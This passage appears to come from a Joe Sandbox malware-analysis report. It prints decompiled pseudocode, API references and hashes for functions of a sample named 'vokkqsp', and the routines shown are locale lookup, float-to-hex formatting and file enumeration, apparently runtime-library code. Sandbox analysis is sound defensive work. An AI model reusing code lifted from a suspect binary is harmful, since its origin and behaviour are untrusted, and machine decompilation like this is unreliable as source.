0x00429e2e
0x00000000
0x00429e2e
0x00429dec

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00429E4F
IsValidCodePage.KERNEL32(00000000), ref: 00429E98
IsValidLocale.KERNEL32(?,00000001), ref: 00429EA7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00429EEF
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00429F0E

Strings

p-D, xrefs: 00429DFC

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: p-D
API String ID: 415426439-4197150244
Opcode ID: 6b867fe535e6abf4c83fff399363d5988ad76ecad5343528ea8f7390d334154d
Instruction ID: dce160037436f12bf979364f714fddf4a67f41b5cf9e03819c4dae37ca7ec0e6
Opcode Fuzzy Hash: 6b867fe535e6abf4c83fff399363d5988ad76ecad5343528ea8f7390d334154d
Instruction Fuzzy Hash: C3518071B00225ABDF10DFA5EC41BAF77B8AF04700F95446AE914E7290DB789D40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00429B6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00429B6E(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0041ED5A(_t27, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x00429b74
0x00429b7b
0x00429c1f
0x00429c38
0x00429c3e
0x00429c43
0x00429c45
0x00429c45
0x00429c4b
0x00429c4e
0x00429c4e
0x00429c3a
0x00429c3a
0x00000000
0x00429c3a
0x00429b81
0x00429b86
0x00000000
0x00000000
0x00429b8c
0x00429b91
0x00429b93
0x00429b93
0x00429b99
0x00000000
0x00000000
0x00429b9e
0x00429bb5
0x00429bb5
0x00429bbe
0x00429bc0
0x00000000
0x00000000
0x00429bc2
0x00429bc7
0x00429bc9
0x00429bc9
0x00429bcf
0x00000000
0x00000000
0x00429bd4
0x00429bf2
0x00429bf4
0x00429c17
0x00000000
0x00429c1c
0x00429c0f
0x00000000
0x00000000
0x00429c11
0x00000000
0x00429c11
0x00429bd6
0x00429bde
0x00000000
0x00000000
0x00429be0
0x00429be3
0x00429be9
0x00000000
0x00000000
0x00000000
0x00429beb
0x00429bed
0x00429bef
0x00000000
0x00429bef
0x00429ba0
0x00429ba8
0x00000000
0x00000000
0x00429baa
0x00429bad
0x00429bb3
0x00000000
0x00000000
0x00000000
0x00429bb3
0x00429bb9
0x00429bbb
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00429E8C,00000002,00000000,?,?,?,00429E8C,?,00000000), ref: 00429C07
GetLocaleInfoW.KERNEL32(?,20001004,00429E8C,00000002,00000000,?,?,?,00429E8C,?,00000000), ref: 00429C30
GetACP.KERNEL32(?,?,00429E8C,?,00000000), ref: 00429C45

Strings

OCP, xrefs: 00429BC2
ACP, xrefs: 00429B8C

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3feca7d4cd02c3912f9e31c760880638cee1ff087994a38edfe4509515814352
Instruction ID: d6879416e45c0c3f5020641951b97e68572d89d4bab9cd97f474f57a18bd2a31
Opcode Fuzzy Hash: 3feca7d4cd02c3912f9e31c760880638cee1ff087994a38edfe4509515814352
Instruction Fuzzy Hash: 4D21BC32B00121AAE7348F15F901B9777A6BB50B10F968066EA0A87204E736EE41C35C

Uniqueness

Uniqueness Score: -1.00%

Function 0042C27E Relevance: 6.3, APIs: 4, Instructions: 337
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 82%

			E0042C27E(signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t87;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t111;
				void* _t113;
				signed int _t114;
				void* _t115;
				void* _t118;
				void* _t120;
				void* _t122;
				signed int* _t124;
				void* _t127;
				signed int _t129;
				signed int _t131;
				signed int _t136;
				signed int* _t140;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				void* _t161;
				unsigned int _t162;
				intOrPtr _t171;
				signed int _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				intOrPtr _t189;
				void* _t190;

				_t186 = _a24;
				if(_t186 < 0) {
					_t186 = 0;
				}
				_t183 = _a8;
				_t3 = _t186 + 0xb; // 0xb
				 *_t183 = 0;
				if(_a12 > _t3) {
					_t140 = _a4;
					_t147 = _t140[1];
					_t173 =  *_t140;
					__eflags = (_t147 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if(__eflags != 0) {
						__eflags = _t147;
						if(__eflags > 0) {
							L13:
							_t20 = _t183 + 1; // 0x2
							_t174 = _t20;
							_t87 = _a28 ^ 0x00000001;
							_v20 = 0x3ff;
							_v5 = _t87;
							_v16 = _t174;
							_v48 = ((_t87 & 0x000000ff) << 5) + 7;
							__eflags = _t147 & 0x7ff00000;
							_t93 = 0x30;
							if((_t147 & 0x7ff00000) != 0) {
								 *_t183 = 0x31;
								L18:
								_t149 = 0;
								__eflags = 0;
								L19:
								_t28 =  &(_t174[0]); // 0x2
								_t184 = _t28;
								__eflags = _t186;
								if(_t186 != 0) {
									_t94 = _a40;
									__eflags =  *((char*)(_t94 + 0x14));
									if( *((char*)(_t94 + 0x14)) == 0) {
										E0041C290(_t94, _t174);
										_t94 = _a40;
										_t174 = _v16;
									}
									_t149 = 0;
									__eflags = 0;
									_t98 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)) + 0x88))))));
								} else {
									_t98 = _t149;
								}
								 *_t174 = _t98;
								_t100 = _t140[1] & 0x000fffff;
								__eflags = _t100;
								_v40 = _t100;
								if(_t100 > 0) {
									L26:
									_t175 = _t149;
									_t150 = 0xf0000;
									_t101 = 0x30;
									_v12 = _t101;
									_v24 = _t149;
									_v28 = 0xf0000;
									while(1) {
										_v32 = _v12 & 0x0000ffff;
										_t104 = _t184;
										_v36 = _t184;
										_v40 = _t186;
										__eflags = _t186;
										if(__eflags <= 0) {
											break;
										}
										_t127 = E0043A520( *_t140 & _t175, _v32 & 0x0000ffff, _t140[1] & _t150 & 0x000fffff);
										_t161 = 0x30;
										_t129 = _t127 + _t161 & 0x0000ffff;
										__eflags = _t129 - 0x39;
										if(_t129 > 0x39) {
											_t129 = _t129 + _v48;
											__eflags = _t129;
										}
										_t162 = _v28;
										_t175 = (_t162 << 0x00000020 | _v24) >> 4;
										 *_t184 = _t129;
										_t184 = _t184 + 1;
										_t150 = _t162 >> 4;
										_t131 = _v12 - 4;
										_t186 = _t186 - 1;
										_v24 = (_t162 << 0x00000020 | _v24) >> 4;
										_v28 = _t162 >> 4;
										_v12 = _t131;
										__eflags = _t131;
										if(_t131 >= 0) {
											continue;
										} else {
											goto L43;
										}
									}
									_t186 = _v40;
									_t184 = _t104;
									_t105 = E0042CAAF(__eflags, _t140, _t175, _t150, _v32, _a36);
									_t190 = _t190 + 0x14;
									__eflags = _t105;
									if(_t105 == 0) {
										goto L43;
									}
									_t184 = _v36;
									_t146 = 0x30;
									_t124 = _t184 - 1;
									while(1) {
										_t156 =  *_t124;
										__eflags = _t156 - 0x66;
										if(_t156 == 0x66) {
											goto L36;
										}
										__eflags = _t156 - 0x46;
										if(_t156 != 0x46) {
											_t140 = _a4;
											__eflags = _t124 - _v16;
											if(_t124 == _v16) {
												_t65 = _t124 - 1;
												 *_t65 =  *(_t124 - 1) + 1;
												__eflags =  *_t65;
											} else {
												__eflags = _t156 - 0x39;
												if(_t156 != 0x39) {
													_t157 = _t156 + 1;
													__eflags = _t157;
												} else {
													_t157 = _v48 + 0x3a;
												}
												 *_t124 = _t157;
											}
											goto L43;
										}
										L36:
										 *_t124 = _t146;
										_t124 = _t124 - 1;
									}
								} else {
									__eflags =  *_t140 - _t149;
									if( *_t140 <= _t149) {
										L43:
										__eflags = _t186;
										if(_t186 > 0) {
											_push(_t186);
											_t122 = 0x30;
											_push(_t122);
											_push(_t184);
											E00403D00(_t184);
											_t184 = _t184 + _t186;
											__eflags = _t184;
										}
										_t106 = _v16;
										__eflags =  *_t106;
										if( *_t106 == 0) {
											_t184 = _t106;
										}
										 *_t184 = (_v5 << 5) + 0x50;
										_t176 = _t140[1];
										_t111 = E0043A520( *_t140, 0x34, _t176);
										_t141 = 0;
										_t188 = _t176 & 0;
										_t70 = _t184 + 2; // 0x2
										_t177 = _t70;
										_t154 = (_t111 & 0x000007ff) - _v20;
										__eflags = _t154;
										_v48 = _t177;
										asm("sbb esi, ebx");
										if(__eflags < 0) {
											L51:
											_t154 =  ~_t154;
											asm("adc esi, ebx");
											_t188 =  ~_t188;
											0x2b = 0x2d;
											goto L52;
										} else {
											if(__eflags > 0) {
												L50:
												L52:
												 *(_t184 + 1) = 0x2b;
												_t185 = _t177;
												_t113 = 0x30;
												 *_t177 = _t113;
												__eflags = _t188 - _t141;
												if(__eflags < 0) {
													L61:
													_t178 = 0x30;
													L62:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														L66:
														_t155 = _t154 + _t178;
														__eflags = _t155;
														 *_t185 = _t155;
														 *(_t185 + 1) = _t141;
														L67:
														_t114 = 0;
														__eflags = 0;
														L68:
														return _t114;
													}
													if(__eflags > 0) {
														L65:
														_push(_t141);
														_push(_t141);
														_push(0xa);
														_push(_t188);
														_push(_t154);
														_t115 = E0043A420();
														_v48 = _t178;
														_t178 = 0x30;
														 *_t185 = _t115 + _t178;
														_t185 = _t185 + 1;
														_t141 = 0;
														__eflags = 0;
														goto L66;
													}
													__eflags = _t154 - 0xa;
													if(_t154 < 0xa) {
														goto L66;
													}
													goto L65;
												}
												if(__eflags > 0) {
													L55:
													_push(_t141);
													_push(_t141);
													_push(0x3e8);
													_push(_t188);
													_push(_t154);
													_t118 = E0043A420();
													_t188 = _t141;
													_v40 = _t177;
													_t177 = _v48;
													_t141 = 0;
													_t185 = _t177 + 1;
													 *_t177 = _t118 + 0x30;
													__eflags = _t185 - _t177;
													if(_t185 != _t177) {
														L59:
														_push(_t141);
														_push(_t141);
														_push(0x64);
														_push(_t188);
														_push(_t154);
														_t120 = E0043A420();
														_t188 = _t141;
														_v40 = _t177;
														_t141 = 0;
														_t178 = 0x30;
														 *_t185 = _t120 + _t178;
														_t185 = _t185 + 1;
														__eflags = _t185 - _v48;
														if(_t185 != _v48) {
															goto L65;
														}
														goto L62;
													}
													L56:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														goto L61;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t154 - 0x64;
													if(_t154 < 0x64) {
														goto L61;
													}
													goto L59;
												}
												__eflags = _t154 - 0x3e8;
												if(_t154 < 0x3e8) {
													goto L56;
												}
												goto L55;
											}
											__eflags = _t154;
											if(_t154 < 0) {
												goto L51;
											}
											goto L50;
										}
									}
									goto L26;
								}
							}
							 *_t183 = _t93;
							_t149 =  *_t140 | _t140[1] & 0x000fffff;
							__eflags = _t149;
							if(_t149 != 0) {
								_v20 = 0x3fe;
								goto L18;
							}
							_v20 = _t149;
							goto L19;
						}
						if(__eflags < 0) {
							L12:
							 *_t183 = 0x2d;
							_t183 = _t183 + 1;
							__eflags = _t183;
							_t147 = _t140[1];
							goto L13;
						}
						__eflags = _t173;
						if(_t173 >= 0) {
							goto L13;
						}
						goto L12;
					}
					_t114 = E0042C5AA(_t140, _t147, __eflags, _t140, _t183, _a12, _a16, _a20, _t186, 0, _a32, _a36, _a40);
					__eflags = _t114;
					if(_t114 == 0) {
						_t136 = E0043F450(_t183, 0x65);
						__eflags = _t136;
						if(_t136 != 0) {
							 *_t136 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							 *((char*)(_t136 + 3)) = 0;
						}
						goto L67;
					}
					 *_t183 = 0;
					goto L68;
				}
				_t171 = _a40;
				_t189 = 0x22;
				 *((char*)(_t171 + 0x1c)) = 1;
				 *((intOrPtr*)(_t171 + 0x18)) = _t189;
				E0041F0ED(_t183, _t189, 0, 0, 0, 0, 0, _t171);
				return _t189;
			}

0x0042c289
0x0042c28f
0x0042c291
0x0042c291
0x0042c293
0x0042c296
0x0042c299
0x0042c29e
0x0042c2c3
0x0042c2c6
0x0042c2cb
0x0042c2d5
0x0042c2da
0x0042c333
0x0042c335
0x0042c344
0x0042c347
0x0042c347
0x0042c34a
0x0042c34c
0x0042c353
0x0042c365
0x0042c368
0x0042c36d
0x0042c371
0x0042c372
0x0042c392
0x0042c395
0x0042c395
0x0042c395
0x0042c397
0x0042c397
0x0042c397
0x0042c39a
0x0042c39c
0x0042c3a2
0x0042c3a5
0x0042c3a9
0x0042c3ad
0x0042c3b2
0x0042c3b5
0x0042c3b5
0x0042c3bb
0x0042c3bb
0x0042c3c5
0x0042c39e
0x0042c39e
0x0042c39e
0x0042c3c7
0x0042c3cc
0x0042c3cc
0x0042c3d1
0x0042c3d4
0x0042c3de
0x0042c3e0
0x0042c3e2
0x0042c3e7
0x0042c3e8
0x0042c3eb
0x0042c3ee
0x0042c3f1
0x0042c3f7
0x0042c3fa
0x0042c3fc
0x0042c3ff
0x0042c402
0x0042c404
0x00000000
0x00000000
0x0042c41b
0x0042c422
0x0042c426
0x0042c429
0x0042c42c
0x0042c42e
0x0042c42e
0x0042c42e
0x0042c434
0x0042c437
0x0042c43b
0x0042c43d
0x0042c441
0x0042c444
0x0042c447
0x0042c448
0x0042c44b
0x0042c44e
0x0042c451
0x0042c454
0x00000000
0x0042c456
0x00000000
0x0042c456
0x0042c454
0x0042c45b
0x0042c45e
0x0042c466
0x0042c46b
0x0042c46e
0x0042c470
0x00000000
0x00000000
0x0042c472
0x0042c477
0x0042c478
0x0042c47b
0x0042c47b
0x0042c47d
0x0042c480
0x00000000
0x00000000
0x0042c482
0x0042c485
0x0042c48c
0x0042c48f
0x0042c492
0x0042c4a7
0x0042c4a7
0x0042c4a7
0x0042c494
0x0042c494
0x0042c497
0x0042c4a1
0x0042c4a1
0x0042c499
0x0042c49c
0x0042c49c
0x0042c4a3
0x0042c4a3
0x00000000
0x0042c492
0x0042c487
0x0042c487
0x0042c489
0x0042c489
0x0042c3d6
0x0042c3d6
0x0042c3d8
0x0042c4aa
0x0042c4aa
0x0042c4ac
0x0042c4ae
0x0042c4b1
0x0042c4b2
0x0042c4b3
0x0042c4b4
0x0042c4bc
0x0042c4bc
0x0042c4bc
0x0042c4be
0x0042c4c1
0x0042c4c4
0x0042c4c6
0x0042c4c6
0x0042c4d2
0x0042c4d6
0x0042c4d9
0x0042c4de
0x0042c4ea
0x0042c4ec
0x0042c4ec
0x0042c4ef
0x0042c4ef
0x0042c4f2
0x0042c4f5
0x0042c4f7
0x0042c503
0x0042c503
0x0042c507
0x0042c509
0x0042c50b
0x00000000
0x0042c4f9
0x0042c4f9
0x0042c4ff
0x0042c50c
0x0042c50c
0x0042c50f
0x0042c513
0x0042c514
0x0042c516
0x0042c518
0x0042c574
0x0042c576
0x0042c577
0x0042c577
0x0042c579
0x0042c59c
0x0042c59c
0x0042c59c
0x0042c59e
0x0042c5a0
0x0042c5a3
0x0042c5a3
0x0042c5a3
0x0042c5a5
0x00000000
0x0042c5a5
0x0042c57b
0x0042c582
0x0042c582
0x0042c583
0x0042c584
0x0042c586
0x0042c587
0x0042c588
0x0042c591
0x0042c594
0x0042c597
0x0042c599
0x0042c59a
0x0042c59a
0x00000000
0x0042c59a
0x0042c57d
0x0042c580
0x00000000
0x00000000
0x00000000
0x0042c580
0x0042c51f
0x0042c525
0x0042c525
0x0042c526
0x0042c527
0x0042c528
0x0042c529
0x0042c52a
0x0042c52f
0x0042c533
0x0042c538
0x0042c53b
0x0042c53d
0x0042c540
0x0042c542
0x0042c544
0x0042c551
0x0042c551
0x0042c552
0x0042c553
0x0042c555
0x0042c556
0x0042c557
0x0042c55c
0x0042c562
0x0042c565
0x0042c567
0x0042c56a
0x0042c56c
0x0042c56d
0x0042c570
0x00000000
0x00000000
0x00000000
0x0042c572
0x0042c546
0x0042c546
0x0042c548
0x00000000
0x00000000
0x0042c54a
0x00000000
0x00000000
0x0042c54c
0x0042c54f
0x00000000
0x00000000
0x00000000
0x0042c54f
0x0042c521
0x0042c523
0x00000000
0x00000000
0x00000000
0x0042c523
0x0042c4fb
0x0042c4fd
0x00000000
0x00000000
0x00000000
0x0042c4fd
0x0042c4f7
0x00000000
0x0042c3d8
0x0042c3d4
0x0042c374
0x0042c380
0x0042c380
0x0042c382
0x0042c389
0x00000000
0x0042c389
0x0042c384
0x00000000
0x0042c384
0x0042c337
0x0042c33d
0x0042c33d
0x0042c340
0x0042c340
0x0042c341
0x00000000
0x0042c341
0x0042c339
0x0042c33b
0x00000000
0x00000000
0x00000000
0x0042c33b
0x0042c2f4
0x0042c2fc
0x0042c2fe
0x0042c30b
0x0042c312
0x0042c314
0x0042c326
0x0042c328
0x0042c328
0x00000000
0x0042c314
0x0042c300
0x00000000
0x0042c300
0x0042c2a0
0x0042c2a5
0x0042c2ac
0x0042c2b0
0x0042c2b3
0x00000000

APIs

_strrchr.LIBCMT ref: 0042C30B

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a10bd9630aa446d874c5a721e9361ccfdeb72b8b04ace7e274a6afb9a54e192b
Instruction ID: e4170047a23a2e839c7d9630c7df9f60d863b46ab1757c88f9f85005f0960d63
Opcode Fuzzy Hash: a10bd9630aa446d874c5a721e9361ccfdeb72b8b04ace7e274a6afb9a54e192b
Instruction Fuzzy Hash: 81B13332A042659FDB118E68D8D17FFBBA5EF59314F54816BE804AB341C238ED41CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004243EC Relevance: 6.1, APIs: 4, Instructions: 129
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004243EC(void* __ebx, void* __edi, void* __esi, WCHAR* _a4, signed short* _a8, char* _a12) {
				signed int _v8;
				short _v552;
				short _v554;
				struct _WIN32_FIND_DATAW _v600;
				char _v601;
				signed int _v608;
				signed int _v612;
				intOrPtr _v616;
				signed int _t30;
				signed char _t32;
				void* _t41;
				intOrPtr _t43;
				int _t48;
				union _FINDEX_INFO_LEVELS _t62;
				intOrPtr* _t63;
				char* _t64;
				signed short* _t69;
				WCHAR* _t75;
				signed int _t78;
				void* _t79;

				_t30 =  *0x44b018; // 0x1989d38f
				_v8 = _t30 ^ _t78;
				_t69 = _a8;
				_t64 = _a12;
				_t75 = _a4;
				_v608 = _t64;
				if(_t69 != _t75) {
					while(E004246AE( *_t69 & 0x0000ffff) == 0) {
						_t69 = _t69 - 2;
						if(_t69 != _t75) {
							continue;
						}
						break;
					}
					_t64 = _v608;
				}
				_t77 =  *_t69 & 0x0000ffff;
				if(( *_t69 & 0x0000ffff) != 0x3a || _t69 ==  &(_t75[1])) {
					_t64 =  &_v601;
					_t32 = E004246AE(_t77);
					asm("sbb eax, eax");
					_t62 = 0;
					_v612 =  ~(_t32 & 0x000000ff) & (_t69 - _t75 >> 0x00000001) + 0x00000001;
					_t77 = FindFirstFileExW(_t75, 0,  &_v600, 0, 0, 0);
					if(_t77 != 0xffffffff) {
						_t63 = _v608;
						_v608 =  *((intOrPtr*)(_t63 + 4)) -  *_t63 >> 2;
						_t41 = 0x2e;
						do {
							if(_v600.cFileName != _t41 || _v554 != 0 && (_v554 != _t41 || _v552 != 0)) {
								_push(_t63);
								_t43 = L004240B3(_t63, _t64, _t75, _t77,  &(_v600.cFileName), _t75, _v612);
								_t79 = _t79 + 0x10;
								_v616 = _t43;
								if(_t43 != 0) {
									FindClose(_t77);
								} else {
									goto L16;
								}
							} else {
								goto L16;
							}
							goto L21;
							L16:
							_t48 = FindNextFileW(_t77,  &_v600);
							_t41 = 0x2e;
						} while (_t48 != 0);
						_t73 =  *_t63;
						_t67 = _v608;
						_t51 =  *((intOrPtr*)(_t63 + 4)) -  *_t63 >> 2;
						if(_v608 !=  *((intOrPtr*)(_t63 + 4)) -  *_t63 >> 2) {
							E0042F880(_t63, _t75, _t77, _t73 + _t67 * 4, _t51 - _t67, 4, E00423B03);
						}
						FindClose(_t77);
					} else {
						_push(_v608);
						goto L7;
					}
				} else {
					_push(_t64);
					_t62 = 0;
					L7:
					L004240B3(_t62, _t64, _t75, _t77, _t75, _t62, _t62);
				}
				L21:
				return E0040361D(_v8 ^ _t78);
			}

0x004243f7
0x004243fe
0x00424401
0x00424404
0x0042440a
0x0042440d
0x00424415
0x00424417
0x0042442a
0x0042442f
0x00000000
0x00000000
0x00000000
0x0042442f
0x00424431
0x00424431
0x00424437
0x0042443d
0x0042445a
0x00424460
0x0042446f
0x00424471
0x00424478
0x0042448d
0x00424492
0x0042449c
0x004244ac
0x004244b2
0x004244b3
0x004244ba
0x004244d9
0x004244e8
0x004244ed
0x004244f0
0x004244f8
0x00424547
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004244fa
0x00424502
0x0042450c
0x0042450c
0x00424512
0x00424516
0x0042451c
0x00424521
0x0042453c
0x00424541
0x00424524
0x00424494
0x00424494
0x00000000
0x00424494
0x00424446
0x00424446
0x00424447
0x00424449
0x0042444c
0x00424451
0x00424553
0x00424561

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00424487
FindNextFileW.KERNEL32(00000000,?), ref: 00424502
FindClose.KERNEL32(00000000), ref: 00424524
FindClose.KERNEL32(00000000), ref: 00424547

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 9c9987b25dc83256c6c43cb26c5e96161230c8f0f3a81e5e265376e77b944e64
Instruction ID: a2651c149064ae3b7487f9a247eeb4b3d2817cef2eeb53f8b058513d0e969e39
Opcode Fuzzy Hash: 9c9987b25dc83256c6c43cb26c5e96161230c8f0f3a81e5e265376e77b944e64
Instruction Fuzzy Hash: EC41C971A00239AFDB20EF64EC88AABB778EBC5305F504197E505D3144E6789E80CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004297F2 Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004297F2(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _v252;
				intOrPtr _v256;
				void* __ebp;
				signed int _t50;
				int _t56;
				void* _t75;
				intOrPtr _t81;
				void* _t90;
				void* _t93;
				intOrPtr _t94;
				void* _t96;
				signed int _t114;
				signed int _t118;
				intOrPtr* _t120;
				intOrPtr* _t125;
				signed int _t128;
				void* _t130;
				signed int* _t132;
				int _t135;
				signed int _t136;
				void* _t137;
				void* _t149;

				_t50 =  *0x44b018; // 0x1989d38f
				_v8 = _t50 ^ _t136;
				_t134 = _a4;
				_t96 = E0041FEAE(__ecx, __edx, _a4);
				_t132 =  *(E0041FEAE(__ecx, __edx, _a4) + 0x34c);
				_t135 = E00429B1A(_t134);
				asm("sbb ecx, ecx");
				_t56 = GetLocaleInfoW(_t135, ( ~( *(_t96 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				_v252 = _v252 & 0x00000000;
				if(_t56 == 0) {
					L37:
					 *_t132 = 0;
					L38:
					return E0040361D(_v8 ^ _t136);
				}
				if(E004306E1(_t132, _t135,  *((intOrPtr*)(_t96 + 0x54)),  &_v248) != 0) {
					L16:
					if(( *_t132 & 0x00000300) == 0x300) {
						L36:
						goto L38;
					}
					asm("sbb eax, eax");
					if(GetLocaleInfoW(_t135, ( ~( *(_t96 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
						goto L37;
					}
					_t75 = E004306E1(_t132, _t135,  *((intOrPtr*)(_t96 + 0x50)),  &_v248);
					if(_t75 != 0) {
						if( *(_t96 + 0x60) == 0 &&  *((intOrPtr*)(_t96 + 0x5c)) != 0 && E004306E1(_t132, _t135,  *((intOrPtr*)(_t96 + 0x50)),  &_v248) == 0) {
							_push(_t132);
							if(E00429C74(_t135, 0) == 0) {
								goto L36;
							}
							 *_t132 =  *_t132 | 0x00000100;
							L34:
							if(_t149 == 0) {
								_t132[1] = _t135;
							}
						}
						goto L36;
					}
					_t114 =  *_t132 | 0x00000200;
					 *_t132 = _t114;
					if( *(_t96 + 0x60) == _t75) {
						if( *((intOrPtr*)(_t96 + 0x5c)) == _t75) {
							goto L20;
						}
						_t125 =  *((intOrPtr*)(_t96 + 0x50));
						_v256 = _t125 + 2;
						do {
							_t81 =  *_t125;
							_t125 = _t125 + 2;
